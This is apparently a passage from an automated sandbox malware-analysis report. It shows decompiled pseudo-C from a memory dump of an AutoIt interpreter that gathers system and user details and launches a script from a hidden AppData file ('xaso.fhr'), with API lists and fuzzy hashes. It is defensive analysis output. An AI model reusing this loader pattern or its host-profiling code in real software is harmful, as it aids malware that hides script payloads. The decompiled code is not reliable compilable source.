					break;
				}
				_t239 = _t229 - 0x60;
				if(_t229 != 0x60) {
					__eflags = _t229 - 0x5f;
					if(__eflags > 0) {
						L144:
						E00EE2480( &_a12);
						__eflags = 0;
						return 0;
					} else {
						switch( *((intOrPtr*)(_t229 * 4 +  &M00F52D81))) {
							case 0:
								__ecx =  *__esi;
								__edx =  *( *__esi + 4);
								__eax =  *( *__esi + 4) + __esi + 4;
								__edi =  *(E00EE3EF0( *( *__esi + 4) + __esi + 4) + 0x14);
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 1:
								__eax =  *__esi;
								__ecx =  *( *__esi + 4);
								__eax = __ecx + __esi + 4;
								E00EE3EF0(__ecx + __esi + 4) = __eax + 0x20;
								__eax = E00EE90D0(__ebx, __ecx, __eax);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 2:
								__edx =  &_v20;
								GetLocalTime(__edx);
								__eax = _v6 & 0x0000ffff;
								_push(_v6 & 0x0000ffff);
								_push(L"%.3d");
								__ecx =  &_v628;
								_push( &_v628);
								goto L16;
							case 3:
								__edx =  &_v644;
								 &_v684 = E00F21DCB(__edx,  &_v684);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								__ecx =  &_v644;
								__eax = E00EE2480( &_v644);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 4:
								_t44 =  &_v772; // 0xf6be90
								__ecx = _t44;
								_t45 =  &_v756; // 0xf6bea0
								__edx = _t45;
								__eax = E00F21DCB(__edx, __edx);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t46 =  &_v772; // 0xf6be90
								__ecx = _t46;
								__eax = E00EE2480(_t46);
								_t47 =  &_a12; // 0xf6c1a0
								__ecx = _t47;
								E00EE2480(_t47) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 5:
								_t48 =  &_v732; // 0xf6bec0
								__eax = _t48;
								_t49 =  &_v708; // 0xf6bed8
								__ecx = _t49;
								__eax = E00F21DCB(__edx, _t49);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t50 =  &_v732; // 0xf6bec0
								__ecx = _t50;
								__eax = E00EE2480(_t50);
								_t51 =  &_a12; // 0xf6c1a8
								__ecx = _t51;
								E00EE2480(_t51) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 6:
								_t52 =  &_v660; // 0xf6bf10
								__edx = _t52;
								_t53 =  &_v716; // 0xf6bed8
								_t53 = E00F21DCB(__edx, _t53);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t54 =  &_v660; // 0xf6bf10
								__ecx = _t54;
								__eax = E00EE2480(_t54);
								_t55 =  &_a12; // 0xf6c1b0
								__ecx = _t55;
								E00EE2480(_t55) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 7:
								_t56 =  &_v676; // 0xf65e4c
								__ecx = _t56;
								_t57 =  &_v780; // 0xf65de4
								__edx = _t57;
								__eax = E00F21DCB(__edx, __edx);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t58 =  &_v676; // 0xf65e4c
								__ecx = _t58;
								__eax = E00EE2480(_t58);
								_t59 =  &_a12; // 0xf660fc
								__ecx = _t59;
								E00EE2480(_t59) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 8:
								_t60 =  &_v700; // 0xf6bef0
								__eax = _t60;
								_t61 =  &_v748; // 0xf6bec0
								__ecx = _t61;
								__eax = E00F21DCB(__edx, _t61);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								_t62 =  &_v700; // 0xf6bef0
								__ecx = _t62;
								__eax = E00EE2480(_t62);
								_t63 =  &_a12; // 0xf6c1b8
								__ecx = _t63;
								E00EE2480(_t63) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 9:
								_t64 =  &_v740; // 0xf6bed0
								__edx = _t64;
								__eax = E00F21DCB(__edx, __edx);
								_push(__eax);
								_push(L"%d");
								_t65 =  &_v628; // 0xf6bf40
								__eax = _t65;
								_push(_t65);
								L16:
								__eax = E00EF31BB(__edx);
								goto L17;
							case 0xa:
								__ecx =  &_v68;
								__edx =  &_v28;
								__eax = E00F21DCB(__edx, __edx);
								__edi = __eax;
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx, __eax, __ebx);
								__ecx =  &_v68;
								__eax = E00EE2480( &_v68);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0xb:
								_t70 =  &_v628; // 0xf6bf48
								__eax = _t70;
								_push(_t70);
								_push(0);
								_push(0);
								_push(0x26);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0xc:
								_t71 =  &_v628; // 0xf6bf48
								__ecx = _t71;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(0x2b);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0xd:
								_t72 =  &_v628; // 0xf6bf48
								__edx = _t72;
								_push(_t72);
								_push(0);
								_push(0);
								_push(5);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0xe:
								_t73 =  &_v628; // 0xf6bf48
								__eax = _t73;
								_push(_t73);
								_push(0);
								_push(0);
								_push(0x23);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0xf:
								_t74 =  &_v628; // 0xf6bf48
								__ecx = _t74;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(0x19);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x10:
								_t75 =  &_v628; // 0xf6bf48
								__edx = _t75;
								_push(_t75);
								_push(0);
								_push(0);
								_push(0x2e);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x11:
								_t76 =  &_v628; // 0xf6bf48
								__eax = _t76;
								_push(_t76);
								_push(0);
								_push(0);
								_push(0x1f);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x12:
								_t77 =  &_v628; // 0xf6bf48
								__ecx = _t77;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(0x17);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x13:
								_t78 =  &_v628; // 0xf6bf48
								__edx = _t78;
								_push(_t78);
								_push(0);
								_push(0);
								_push(0x16);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x14:
								__eax =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(0x18);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x15:
								__ecx =  &_v628;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(0x1a);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x16:
								__edx =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(0x10);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x17:
								__eax =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(6);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x18:
								__ecx =  &_v628;
								_push(__ecx);
								_push(0);
								_push(0);
								_push(2);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x19:
								__edx =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(0xb);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x1a:
								__eax =  &_v628;
								_push( &_v628);
								_push(0);
								_push(0);
								_push(7);
								_push(0);
								__imp__SHGetFolderPathW();
								goto L18;
							case 0x1b:
								__ecx =  &_a4;
								__edx =  &_v628;
								_a4 = 0x104;
								__eax = GetComputerNameW( &_v628, __ecx);
								goto L18;
							case 0x1c:
								__eax =  &_v628;
								__eax = GetWindowsDirectoryW( &_v628, 0x104);
								__eflags = __eax;
								if(__eax == 0) {
									goto L144;
								} else {
									goto L18;
								}
								goto L145;
							case 0x1d:
								__ecx =  *0xf89604;
								__eflags = __ecx[0x16];
								_push(0x104);
								__edx =  &_v628;
								_push( &_v628);
								if(__eflags == 0) {
									__eax = GetSystemDirectoryW();
								} else {
									__eax = 0;
									_v16 = 0;
									_v8 = 0;
									__eax =  &_v16;
									L00F10D80(__eflags,  &_v16) = __eax->i();
									__ecx =  &_v16;
									__eax = L00F10E20(__ecx);
								}
								goto L18;
							case 0x1e:
								L141:
								__esi = __ebx;
								goto L142;
							case 0x1f:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 6;
								goto L143;
							case 0x20:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 3;
								goto L143;
							case 0x21:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 9;
								goto L143;
							case 0x22:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 5;
								goto L143;
							case 0x23:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0xa;
								goto L143;
							case 0x24:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0x40;
								goto L143;
							case 0x25:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0x41;
								goto L143;
							case 0x26:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 2;
								goto L143;
							case 0x27:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 7;
								goto L143;
							case 0x28:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 8;
								goto L143;
							case 0x29:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 4;
								goto L143;
							case 0x2a:
								L128:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 1;
								goto L143;
							case 0x2b:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0x42;
								goto L143;
							case 0x2c:
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = 0x43;
								goto L143;
							case 0x2d:
								__eflags =  *0xf774ea - 1;
								goto L60;
							case 0x2e:
								__eflags =  *0xf88719 - 1;
								L60:
								__esi = __ebx;
								if(__eflags != 0) {
									L142:
									__eax = E00EE9190(__edi, __esi);
									 *__ebx = 0;
								} else {
									__eax = E00EE9190(__edi, __esi);
									 *__ebx = 1;
								}
								goto L143;
							case 0x2f:
								__eax =  *(__esi + 0xc8);
								goto L19;
							case 0x30:
								__eax =  *(__esi + 0xb8);
								goto L19;
							case 0x31:
								__eax =  *(__esi + 0xd8);
								goto L19;
							case 0x32:
								__eax =  *(__esi + 0xf4);
								__eax = E00F14891( *(__esi + 0xf4));
								__esi = __ebx;
								__edi = __eax;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 0x33:
								__ecx =  &_v628;
								__eax = GetCurrentDirectoryW(0x104, __ecx);
								goto L18;
							case 0x34:
								__eax = L"WIN32_NT";
								goto L19;
							case 0x35:
								__eax =  *0xf89604;
								__eflags =  *((char*)(__eax + 0x2a)) - 1;
								if( *((char*)(__eax + 0x2a)) != 1) {
									__eflags =  *((char*)(__eax + 0x28)) - 1;
									if( *((char*)(__eax + 0x28)) != 1) {
										__eflags =  *((char*)(__eax + 0x26)) - 1;
										if( *((char*)(__eax + 0x26)) != 1) {
											__eflags =  *((char*)(__eax + 0x24)) - 1;
											if( *((char*)(__eax + 0x24)) != 1) {
												__eflags =  *((char*)(__eax + 0x22)) - 1;
												if( *((char*)(__eax + 0x22)) != 1) {
													__eflags =  *((char*)(__eax + 0x20)) - 1;
													if( *((char*)(__eax + 0x20)) != 1) {
														__eflags =  *((char*)(__eax + 0x1e)) - 1;
														if( *((char*)(__eax + 0x1e)) != 1) {
															__eflags =  *((char*)(__eax + 0x1c)) - 1;
															if( *((char*)(__eax + 0x1c)) != 1) {
																goto L99;
															} else {
																__eax = L"WIN_2000";
															}
														} else {
															__eflags =  *((char*)(__eax + 0x30));
															__eax = L"WIN_XPe";
															if(__eflags == 0) {
																__eax = L"WIN_XP";
															}
														}
													} else {
														__eax = L"WIN_2003";
													}
												} else {
													__eax = L"WIN_VISTA";
												}
											} else {
												__eax = L"WIN_2008";
											}
										} else {
											__eax = L"WIN_7";
										}
									} else {
										__eax = L"WIN_2008R2";
									}
								} else {
									__eax = L"WIN_8";
								}
								goto L19;
							case 0x36:
								__eax =  *0xf89604;
								__edi =  *0xf89604->wHour;
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 0x37:
								__edi =  *0xf89604;
								__edi =  &( *0xf89604->wSecond);
								__esi = __ebx;
								__eax = E00EEE8A0(__ecx,  &( *0xf89604->wSecond), __ebx);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x38:
								__esi =  &_v628;
								__edx = L"SYSTEM\\CurrentControlSet\\Control\\Nls\\Language";
								__eax = E00EF06E0(L"SYSTEM\\CurrentControlSet\\Control\\Nls\\Language",  &_v628, 0x80000002, L"InstallLanguage", 0x104);
								L17:
								__esp = __esp + 0xc;
								goto L18;
							case 0x39:
								__edx =  *0xf89604;
								__eax =  *( *0xf89604 + 0x2e) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									__eax = L"X86";
								} else {
									__eflags = __eax - 6;
									if(__eax == 6) {
										__eax = L"IA64";
									} else {
										__eflags = __eax - 9;
										if(__eax != 9) {
											L99:
											__eax = L"UNKNOWN";
										} else {
											__eax = L"X64";
										}
									}
								}
								goto L19;
							case 0x3a:
								__ecx = 0;
								__eax = 0x80000001;
								asm("cpuid");
								__esi =  &_v68;
								 *__esi = 0x80000001;
								 *(__esi + 4) = __ebx;
								 *((intOrPtr*)(__esi + 8)) = 0;
								 *(__esi + 0xc) = __edx;
								__eflags = _v56 & 0x20000000;
								__eax = L"X64";
								if((_v56 & 0x20000000) == 0) {
									__eax = L"X86";
								}
								__ebx = _a8;
								goto L19;
							case 0x3b:
								__edx =  &_v800;
								__eax = GetKeyboardLayoutNameW( &_v800);
								__eax =  &_v800;
								goto L19;
							case 0x3c:
								 &_v1332 = E00EF1487( &_v1332, L"3, 3, 8, 1");
								__ecx =  &_v1332;
								__esi = 0;
								__edi = 0;
								__eax = E00EF10E1( &_v1332);
								__eflags = __eax;
								if(__eax > 0) {
									do {
										__eax =  *(__ebp + __edi * 2 - 0x530) & 0x0000ffff;
										__eflags = __eax - 0x20;
										if(__eax != 0x20) {
											__eflags = __eax - 0x2c;
											if(__eax != 0x2c) {
												 *((short*)(__ebp + __esi * 2 - 0x530)) = __ax;
											} else {
												__edx = 0x2e;
												 *((short*)(__ebp + __esi * 2 - 0x530)) = __dx;
											}
											__esi = __esi + 1;
											__eflags = __esi;
										}
										__eax =  &_v1332;
										__edi =  &(__edi->i);
										__eax = E00EF10E1( &_v1332);
										__eflags = __edi - __eax;
									} while (__edi < __eax);
								}
								__ecx = 0;
								 *((short*)(__ebp + __esi * 2 - 0x530)) = __cx;
								__eax =  &_v1332;
								goto L19;
							case 0x3d:
								__edx =  &_v628;
								__eax = GetModuleFileNameW(0,  &_v628, 0x104);
								goto L18;
							case 0x3e:
								 &_v100 = L00F13478(1,  &_v100);
								__eax =  &_v100;
								goto L19;
							case 0x3f:
								__ecx =  &_v100;
								__eax = L00F13478(2,  &_v100);
								__eax =  &_v100;
								goto L19;
							case 0x40:
								__edx =  &_v100;
								__eax = L00F13478(3,  &_v100);
								__eax =  &_v100;
								goto L19;
							case 0x41:
								 &_v100 = L00F13478(4,  &_v100);
								__eax =  &_v100;
								goto L19;
							case 0x42:
								E00EEE970("\r", _t215, _t217);
								E00EE2480( &_a12);
								__eflags = 0;
								return 0;
								goto L145;
							case 0x43:
								"\n" = E00EEE970("\n", __ebx, __ecx);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x44:
								L"\r\n" = E00EEE970(L"\r\n", __ebx, __ecx);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x45:
								__ecx =  &_v52;
								GetDesktopWindow() = GetWindowRect(__eax,  &_v52);
								__edi = _v52.right;
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 0x46:
								__edx =  &_v52;
								GetDesktopWindow() = GetWindowRect(__eax,  &_v52);
								__edi = _v52.bottom;
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								goto L143;
							case 0x47:
								__edi = GetDesktopWindow();
								__eax = GetDC(__edi);
								_a8 = __eax;
								__eax = GetDeviceCaps(__eax, 0xc);
								__esi = __ebx;
								_v8 = __eax;
								__eax = E00EE9190(__edi, __ebx);
								__ecx = _a8;
								__eax = _v8;
								 *((intOrPtr*)(__ebx + 8)) = 1;
								 *__ebx = _v8;
								__eax = ReleaseDC(__edi, _a8);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x48:
								__edi = GetDesktopWindow();
								__eax = GetDC(__edi);
								_a8 = __eax;
								__eax = GetDeviceCaps(__eax, 0x74);
								__esi = __ebx;
								_v8 = __eax;
								E00EE9190(__edi, __ebx) = _a8;
								__edx = _v8;
								 *((intOrPtr*)(__ebx + 8)) = 1;
								 *__ebx = _v8;
								__eax = ReleaseDC(__edi, _a8);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x49:
								__eax =  *0xf87f54;
								__eflags = __eax - 3;
								if(__eax == 3) {
									goto L128;
								} else {
									__eflags = __eax - 4;
									if(__eax != 4) {
										goto L141;
									} else {
										goto L128;
									}
								}
								goto L143;
							case 0x4a:
								__ecx =  &_v628;
								__eax = GetEnvironmentVariableW(L"COMSPEC", __ecx, 0x104);
								goto L18;
							case 0x4b:
								"\t" = E00EEE970("\t", __ebx, __ecx);
								__ecx =  &_a12;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x4c:
								__eax =  &_a4;
								__ecx =  &_v628;
								_a4 = 0x104;
								__eax = GetUserNameW(__ecx,  &_a4);
								goto L18;
							case 0x4d:
								__edx =  &_v628;
								__eax = GetTempPathW(0x104,  &_v628);
								__esi =  &_v628;
								__eax = E00EEF390( &_v628, __eflags);
								goto L18;
							case 0x4e:
								__edx =  &_v628;
								__eax = GetEnvironmentVariableW(L"USERPROFILE",  &_v628, 0x104);
								goto L18;
							case 0x4f:
								 &_v628 = GetEnvironmentVariableW(L"HOMEDRIVE",  &_v628, 0x104);
								goto L18;
							case 0x50:
								__ecx =  &_v628;
								__eax = GetEnvironmentVariableW(L"HOMEPATH", __ecx, 0x104);
								goto L18;
							case 0x51:
								__edx =  &_v628;
								__eax = GetEnvironmentVariableW(L"HOMESHARE",  &_v628, 0x104);
								goto L18;
							case 0x52:
								 &_v628 = GetEnvironmentVariableW(L"LOGONSERVER",  &_v628, 0x104);
								goto L18;
							case 0x53:
								__ecx =  &_v628;
								__eax = GetEnvironmentVariableW(L"USERDOMAIN", __ecx, 0x104);
								goto L18;
							case 0x54:
								__edx =  &_v628;
								__eax = GetEnvironmentVariableW(L"USERDNSDOMAIN",  &_v628, 0x104);
								goto L18;
							case 0x55:
								goto L144;
							case 0x56:
								__edi =  *(__esi + 0x148);
								__esi = __ebx;
								__eax = E00EE9190(__edi, __ebx);
								 *__ebx = __edi;
								L143:
								 *((intOrPtr*)(__ebx + 8)) = 1;
								goto L144;
							case 0x57:
								__eax =  *(__esi + 0x14c);
								goto L19;
							case 0x58:
								__eax = GetCurrentProcessId();
								_a8 = __eax;
								asm("fild dword [ebp+0xc]");
								__eflags = __eax;
								if(__eax < 0) {
									__fp0 = __fp0 +  *0xf6cd00;
								}
								__esi = __ebx;
								_v12 = __fp0;
								__eax = E00EE9190(__edi, __ebx);
								__fp0 = _v12;
								__ecx =  &_a12;
								 *__ebx = _v12;
								 *((intOrPtr*)(__ebx + 8)) = 3;
								E00EE2480( &_a12) = 0;
								__eflags = 0;
								return 0;
								goto L145;
							case 0x59:
								__esi =  &_v628;
								__edx = L"Control Panel\\Appearance";
								__eax = E00EF06E0(L"Control Panel\\Appearance",  &_v628, 0x80000001, L"SchemeLangID", 0x104);
								__eax = _v628 & 0x0000ffff;
								_a4 = _v628 & 0x0000ffff;
								__eax = L00F12E6A(__eax, 0, __esi, 4);
								L18:
								_t38 =  &_v628; // 0xf6bf40
								__eax = _t38;
								L19:
								__eax = E00EEE970(__eax, __ebx, __ecx);
								_t39 =  &_a12; // 0xf6c1c0
								__ecx = _t39;
								E00EE2480(_t39) = 0;
								__eflags = 0;
								return 0;
								goto L145;
						}
					}
				} else {
					_t232 =  &_v36;
					E00EE1D10("@",  &_v36, _t239);
					_a8 = 0;
					E00EEBFA0(_t232, _t241,  &_a12);
					E00EEC510(0, _t232,  &_v8,  &_a8);
					_t207 = _v8;
					if(_v8 != 0) {
						E00EE90D0(_t215, 0, _t207);
						E00EE2480( &_v36);
						E00EE2480( &_a12);
						__eflags = 0;
						return 0;
					} else {
						E00EE2480(_t232);
						E00EE2480( &_a12);
						return 1;
					}
				}
				L145:
			}

APIs

_memset.LIBCMT ref: 00F520BD
_memset.LIBCMT ref: 00F520DB
GetLocalTime.KERNEL32(?), ref: 00F5225C
__swprintf.LIBCMT ref: 00F52273
SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,00F6BF48), ref: 00F524A6
SHGetFolderPathW.SHELL32(00000000,0000002B,00000000,00000000,00F6BF48), ref: 00F524C0
SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,00F6BF48), ref: 00F524DA
SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,00F6BF48), ref: 00F524F4
SHGetFolderPathW.SHELL32(00000000,00000019,00000000,00000000,00F6BF48), ref: 00F5250E
SHGetFolderPathW.SHELL32(00000000,0000002E,00000000,00000000,00F6BF48), ref: 00F52528
SHGetFolderPathW.SHELL32(00000000,0000001F,00000000,00000000,00F6BF48), ref: 00F52542
SHGetFolderPathW.SHELL32(00000000,00000017,00000000,00000000,00F6BF48), ref: 00F5255C
SHGetFolderPathW.SHELL32(00000000,00000016,00000000,00000000,00F6BF48), ref: 00F52576

Strings

%.3d, xrefs: 00F52267

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FolderPath$_memset$LocalTime__swprintf
String ID: %.3d
API String ID: 645292623-986655627
Opcode ID: b998f500dcabacbc599c4f3d221bea0fe250787443b5189cd452ef8b04477a5a
Instruction ID: b14fb117aecf18a904778b8993d3a0f6440a656b25a337514d5c40196d6db0ab
Opcode Fuzzy Hash: b998f500dcabacbc599c4f3d221bea0fe250787443b5189cd452ef8b04477a5a
Instruction Fuzzy Hash: AAC1D83361421C9BDB64EF60DC86FEE73B8FB44311F441569FA09A70C2DB759A099BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE2190, Relevance: 24.7, APIs: 7, Strings: 7, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00EE2190(void* __ecx, void* __eflags, void* _a4) {
				char _v12;
				char _v28;
				char _v40;
				char _v48;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				char _v80;
				struct HINSTANCE__* _v84;
				void* __edi;
				void* __esi;
				void* _t78;
				void* _t81;
				void* _t84;
				void* _t91;
				intOrPtr* _t100;
				void* _t104;
				intOrPtr _t108;
				intOrPtr _t109;
				void* _t110;
				intOrPtr _t118;
				void* _t139;
				intOrPtr* _t158;
				void* _t161;
				void* _t162;
				void* _t163;
				void* _t164;
				void* _t165;
				void* _t166;

				_t168 = __eflags;
				E00EEE8E0( &_v84);
				_push(_a4);
				_v12 = 0;
				E00EE2790( &_v84, _t139, __eflags);
				 *0xf87f6c = 0;
				 *0xf87f50 = 0xf87f6c;
				E00EEF140(0,  &_v48,  &_v80);
				E00EE1D10(L"CMDLINERAW",  &_v28, _t168);
				E00EE1BE0(0, 1,  &_v48,  &_v28);
				E00EE2480( &_v28);
				E00EE9190(L"CMDLINERAW",  &_v48);
				_t146 = L"CMDLINE";
				_v40 = 1;
				_v48 = 0;
				E00EE1D10(L"CMDLINE",  &_v28, _t168);
				E00EE1BE0(0, 0x100,  &_v48,  &_v28);
				E00EE2480( &_v28);
				E00EE1D10(L"CMDLINE",  &_v28, _t168);
				E00EEC510(0,  &_v28,  &_a4,  &_v12);
				E00EE2480( &_v28);
				_t118 = _v56;
				E00EEBEC0( &_v28, _t168);
				E00EE1BA0( &_v84,  &_v28,  &_v28);
				_t156 = _v28;
				_t78 = E00EF13CB(L"CMDLINE", L"/ErrorStdOut", _v28);
				_t162 = _t161 + 8;
				if(_t78 == 0) {
					 *0xf774e8 = 1;
					_t118 = _t118 - 1;
					E00EE1BA0( &_v84,  &_v28, _t156);
					_t156 = _v28;
				}
				_t81 = E00EF13CB(_t146, L"/AutoIt3OutputDebug", _t156);
				_t163 = _t162 + 8;
				if(_t81 == 0) {
					 *0xf774e7 = 1;
					_t118 = _t118 - 1;
					E00EE1BA0( &_v84,  &_v28, _t156);
					_t156 = _v28;
				}
				_t84 = E00EF13CB(_t146, L"/AutoIt3ExecuteLine", _t156);
				_t164 = _t163 + 8;
				if(_t84 == 0) {
					 *0xf87f54 = 1;
					 *0xf87f58 = 1;
					GetModuleFileNameW(0, "C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", 0x104);
					E00EE1BA0( &_v84,  &_v28, _t156);
					E00EEDE00(0xf87f5c,  &_v28);
					_t134 =  &_v28;
					_t118 = _t118 - 2;
					E00EE1BA0( &_v84,  &_v28, 0xf87f5c);
					_t156 = _v28;
				}
				_t91 = E00EF13CB(_t146, L"/AutoIt3ExecuteScript", _t156);
				_t165 = _t164 + 8;
				if(_t91 == 0) {
					 *0xf87f54 = 3;
					E00EE1BA0( &_v84,  &_v28, _t156);
					E00EF1487("C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", _v28);
					_t165 = _t165 + 8;
					_t134 =  &_v28;
					_t118 = _t118 - 2;
					E00EE1BA0( &_v84,  &_v28, _t156);
					_t156 = _v28;
				}
				if( *0xf87f6c == 0) {
					E00EF1487("C:\Users\jones\AppData\Roaming\22032878\xaso.fhr", _t156);
					_t165 = _t165 + 8;
					_t134 =  &_v28;
					_t118 = _t118 - 1;
					E00EE1BA0( &_v84,  &_v28, _t156);
				}
				if(_t118 < 0) {
					_t118 = 0;
				}
				_t147 = _a4;
				_push(_t118 + 1);
				E00EEEA50(_a4, _t134, 1);
				_push(0);
				_t100 = E00EED150(_t134, _a4, 0, 1);
				_t166 = _t165 + 0x14;
				_t158 = _t100;
				E00EE9190(_a4, _t158);
				 *((intOrPtr*)(_t158 + 8)) = 1;
				 *_t158 = _t118;
				if(_t118 > 0) {
					_t108 = 0;
					while(1) {
						_t109 = _t108 + 1;
						_push(_t109);
						_v12 = _t109;
						_t110 = E00EED150(_t134, _a4, 0, 1);
						_t166 = _t166 + 0xc;
						_t147 =  &_v28;
						E00EEE8A0(_t134, _t147, _t110);
						_t134 = _t147;
						E00EE1BA0( &_v84, _t147, _t110);
						if(_v12 >= _t118) {
							goto L10;
						}
						_t108 = _v12;
					}
				}
				L10:
				E00EE2480( &_v28);
				_t104 = E00EED300(E00EE9190(_t147,  &_v48),  &_v64);
				_v84 = 0;
				_v64 = 0xf64e68;
				E00EED300(_t104,  &_v64);
				_push(_v60);
				E00EF10FC();
				return E00EE2480( &_v80);
			}

APIs

Part of subcall function 00EE1D10: _wcslen.LIBCMT ref: 00EE1D11
Part of subcall function 00EE1D10: _memmove.LIBCMT ref: 00EE1D57

__wcsicoll.LIBCMT ref: 00EE2262
__wcsicoll.LIBCMT ref: 00EE2278
__wcsicoll.LIBCMT ref: 00EE228E

Part of subcall function 00EF13CB: __wcsicmp_l.LIBCMT ref: 00EF144B

__wcsicoll.LIBCMT ref: 00EE22A4
_wcscpy.LIBCMT ref: 00EE22C4
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Roaming\22032878\xaso.fhr,00000104), ref: 00F08AD6
_wcscpy.LIBCMT ref: 00F08B29

Strings

/AutoIt3ExecuteLine, xrefs: 00EE2289
/ErrorStdOut, xrefs: 00EE225D
CMDLINE, xrefs: 00EE21F8
/AutoIt3ExecuteScript, xrefs: 00EE229F
C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EE21B9, 00EE21C0, 00EE22B4, 00EE22BF, 00F08ABE, 00F08B24
/AutoIt3OutputDebug, xrefs: 00EE2273
